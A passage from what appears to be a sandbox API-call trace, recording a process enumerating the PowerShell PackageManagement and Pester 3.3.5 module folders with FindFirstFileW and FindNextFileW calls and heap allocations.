	[0182.538] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.resources.dll", cAlternateFileName="MI8D9C~1.DLL")) returned 1
	[0182.539] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.resources.dll", cAlternateFileName="MI8D9C~1.DLL")) returned 0
	[0182.539] FindClose (in: hFindFile=0x76f568 | out: hFindFile=0x76f568) returned 1
	[0182.539] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0182.539] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.ArchiverProviders.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0182.540] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.CoreProviders.dll", cAlternateFileName="MICROS~2.DLL")) returned 1
	[0182.540] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3da00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.dll", cAlternateFileName="MICROS~3.DLL")) returned 1
	[0182.540] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.MetaProvider.PowerShell.dll", cAlternateFileName="MICROS~4.DLL")) returned 1
	[0182.540] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.MsiProvider.dll", cAlternateFileName="MID877~1.DLL")) returned 1
	[0182.540] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.MsuProvider.dll", cAlternateFileName="MI0F1E~1.DLL")) returned 1
	[0182.540] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PackageManagement.dll", cAlternateFileName="MI6305~1.DLL")) returned 1
	[0182.541] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x405f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement.format.ps1xml", cAlternateFileName="PACKAG~1.PS1")) returned 1
	[0182.541] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement.psd1", cAlternateFileName="PACKAG~1.PSD")) returned 1
	[0182.541] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageProviderFunctions.psm1", cAlternateFileName="PACKAG~1.PSM")) returned 1
	[0182.541] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageProviderFunctions.psm1", cAlternateFileName="PACKAG~1.PSM")) returned 0
	[0182.541] FindClose (in: hFindFile=0x76ea28 | out: hFindFile=0x76ea28) returned 1
	[0182.541] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0182.541] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0
	[0182.541] FindClose (in: hFindFile=0x76e868 | out: hFindFile=0x76e868) returned 1
	[0182.541] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0182.541] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester", cAlternateFileName="")) returned 1
	[0182.541] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4094fb8
	[0182.541] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e868
	[0182.542] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.542] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.3.5", cAlternateFileName="3351CC~1.5")) returned 1
	[0182.542] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4110000
	[0182.542] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\*", lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76f568
	[0182.637] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.637] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e40b4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bin", cAlternateFileName="")) returned 1
	[0182.637] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4044f98
	[0182.645] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin\\*", lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e40b4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f3a8
	[0182.645] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e40b4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.645] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 1
	[0182.645] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 0
	[0182.645] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0182.645] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0182.645] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1
	[0182.646] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2756, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CHANGELOG.md", cAlternateFileName="")) returned 1
	[0182.646] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4446, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0182.646] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4044f98
	[0182.646] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\*", lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4446, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f3a8
	[0182.646] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4446, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.646] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xc25, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_BeforeEach_AfterEach.help.txt", cAlternateFileName="")) returned 1
	[0182.646] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x18fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Mocking.help.txt", cAlternateFileName="")) returned 1
	[0182.646] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Pester.help.txt", cAlternateFileName="")) returned 1
	[0182.646] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x145e, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_should.help.txt", cAlternateFileName="")) returned 1
	[0182.647] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 1
	[0182.647] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 0
	[0182.647] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0182.647] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0182.647] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1
	[0182.647] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4044f98
	[0182.647] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\*", lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f3a8
	[0182.648] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.648] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e545b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator", cAlternateFileName="CALCUL~1")) returned 1
	[0182.648] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38a0958
	[0182.649] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Calculator\\*", lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e545b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76ee68
	[0182.649] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e545b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
